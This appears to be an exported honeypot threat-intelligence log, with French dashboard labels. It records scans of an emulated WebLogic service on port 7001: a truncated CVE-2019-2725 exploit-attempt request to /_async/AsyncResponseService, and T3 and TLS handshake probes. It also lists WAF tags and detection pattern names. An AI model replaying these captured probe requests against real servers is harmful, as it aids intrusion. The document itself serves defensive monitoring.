"event_fingerprint": "71c9d649a657c75fc8f876bf543423d1d6f54d4d",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0179",
"pat-0284"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CVE-2019-2725 WebLogic CVE-2019-2725",
"CRS 941130"
],
"pattern_ids": [
"pat-0842",
"pat-0179",
"pat-0284"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "16ac65d2f80201750188da28433f3e4b",
"path_pattern_hash": "01bc2c025b7f327650e4a8ec8490febd"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 80
},
"payload_preview": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"method": "POST",
"path": "\/_async\/AsyncResponseService",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"sqli-19",
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/_async\/AsyncResponseService HTTP\/1.1",
"request_sample": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\nCookie:478747e247375647\r\nContent-Length:174401\r\n\r\n<soapenv:Envelope xmlns:",
"payload_snippet": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"evidence": {
"method": "POST",
"path": "\/_async\/AsyncResponseService",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"sqli-19",
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/_async\/AsyncResponseService HTTP\/1.1",
"request_sample": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\nCookie:478747e247375647\r\nContent-Length:174401\r\n\r\n<soapenv:Envelope xmlns:",
"payload_snippet": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "77595b47f01c8bf1f2c6d552ab9b766e3c536b1f",
"protocol_details": {
"http_method": "POST",
"http_path": "\/_async\/AsyncResponseService",
"request_line": "POST \/_async\/AsyncResponseService HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/_async\/AsyncResponseService",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 80\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 80,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "POST",
"http_path": "\/_async\/AsyncResponseService",
"request_line": "POST \/_async\/AsyncResponseService HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/_async\/AsyncResponseService",
"evidence_snippet": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"http_contenttype_attack_surface",
"http_jwt_body",
"http_ssrf_body",
"net_web_probe"
]
}
24/07/2026 09:39:10 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
������ )��"H �-� �o��}��� i���i�@\�m|M'�b�ř�!��`��aa9�i�F >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
������ )��"H �-�
�o��}��� i���i�@\�m|M'�b�ř�!��`��aa9�i�F >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
������ )��"H �-� �o��}��� i���i�@\�m|M'�b�ř�!��`��aa9�i�F >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.967778227958416,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "8abb592b2e4459a6702355a6841a7ab5",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\ufffd\ufffd\uf5bb\ufffd\ufffd\f\uf666)\ufffd\ufffd\"H\u001e\ufffd-\ufffd\u0012\r\ufffdo\ufffd\u0019\ufffd}\ufffd\ufffd\ufffd i\ufffd\ufffd\ufffdi\ufffd@\\\ufffdm|M'\ufffdb\ufffd\u0159\ufffd!\ufffd\ufffd`\ufffd\ufffdaa9\ufffdi\ufffdF\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\ufffd\ufffd\uf5bb\ufffd\ufffd\f\uf666)\ufffd\ufffd\"H\u001e\ufffd-\ufffd\u0012\r\ufffdo\ufffd\u0019\ufffd}\ufffd\ufffd\ufffd i\ufffd\ufffd\ufffdi\ufffd@\\\ufffdm|M'\ufffdb\ufffd\u0159\ufffd!\ufffd\ufffd`\ufffd\ufffdaa9\ufffdi\ufffdF\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\ufffd\ufffd\uf5bb\ufffd\ufffd\f\uf666)\ufffd\ufffd\"H\u001e\ufffd-\ufffd\u0012\r\ufffdo\ufffd\u0019\ufffd}\ufffd\ufffd\ufffd i\ufffd\ufffd\ufffdi\ufffd@\\\ufffdm|M'\ufffdb\ufffd\u0159\ufffd!\ufffd\ufffd`\ufffd\ufffdaa9\ufffdi\ufffdF\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "0f3dfd69c9e1be2dc6d965adb77f5b34a3abfb4f",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\ufffd\ufffd\uf5bb\ufffd\ufffd\f\uf666)\ufffd\ufffd\"H\u001e\ufffd-\ufffd\u0012\r\ufffdo\ufffd\u0019\ufffd}\ufffd\ufffd\ufffd i\ufffd\ufffd\ufffdi\ufffd@\\\ufffdm|M'\ufffdb\ufffd\u0159\ufffd!\ufffd\ufffd`\ufffd\ufffdaa9\ufffdi\ufffdF\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd\ufffd\ufffd\ufffd\uf5bb\ufffd\ufffd\uf666)\ufffd\ufffd\"H\ufffd-\ufffd\r\ufffdo\ufffd\ufffd}\ufffd\ufffd\ufffd i\ufffd\ufffd\ufffdi\ufffd@\\\ufffdm|M'\ufffdb\ufffd\u0159\ufffd!\ufffd\ufffd`\ufffd\ufffdaa9\ufffdi\ufffdF>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\ufffd\ufffd\uf5bb\ufffd\ufffd\f\uf666)\ufffd\ufffd\"H\u001e\ufffd-\ufffd\u0012\r\ufffdo\ufffd\u0019\ufffd}\ufffd\ufffd\ufffd i\ufffd\ufffd\ufffdi\ufffd@\\\ufffdm|M'\ufffdb\ufffd\u0159\ufffd!\ufffd\ufffd`\ufffd\ufffdaa9\ufffdi\ufffdF\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffd\ufffd\ufffd\uf5bb\ufffd\ufffd\uf666)\ufffd\ufffd\"H\ufffd-\ufffd\r\ufffdo\ufffd\ufffd}\ufffd\ufffd\ufffd i\ufffd\ufffd\ufffdi\ufffd@\\\ufffdm|M'\ufffdb\ufffd\u0159\ufffd!\ufffd\ufffd`\ufffd\ufffdaa9\ufffdi\ufffdF>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:39:10 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
t3 12.2.1 AS:255 HL:19 MS:10000000
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 2 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
t3 12.2.1
AS:255
HL:19
MS:10000000
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 36,
"payload_entropy": 3.648511114409896,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.9,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "3209cb76d7a9ac3a6e65d8bcbb4694715e457ed2",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "c774fdf36465e0ff86b6cbcdac011d2c",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"request_sample": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"payload_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"evidence": {
"request_sample": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"payload_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "e3f6e61b0b8db97e25e9ab89dd9892388baf41d0",
"protocol_details": {
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 2 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
